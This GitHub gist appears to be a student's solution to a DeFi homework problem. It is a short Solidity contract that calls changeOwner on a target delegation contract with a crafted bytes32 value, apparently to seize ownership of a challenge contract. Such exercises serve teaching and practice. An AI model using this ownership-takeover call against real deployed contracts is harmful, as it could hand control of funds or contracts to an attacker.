Skip to content

Instantly share code, notes, and snippets.

@bob1113
Created November 3, 2023 08:21
Show Gist options
  • Save bob1113/b67a8b561579026a920bfc8d1d6a7e75 to your computer and use it in GitHub Desktop.
Save bob1113/b67a8b561579026a920bfc8d1d6a7e75 to your computer and use it in GitHub Desktop.
DeFi HW3 Problem 3
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
contract Interaction {
address public sw = 0x5008C5a0167462D2DBE3c90A5f65309aBdCE9EAb;
bytes32 public _s = 0x0000000000000000000000015008c5a0167462d2dbe3c90a5f65309abdce9eab;
function doResolve(address _delegationAddr) public {
(bool result, ) = _delegationAddr.call(abi.encodeWithSignature("changeOwner(bytes32,address)", _s, sw));
require(result, "haha");
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment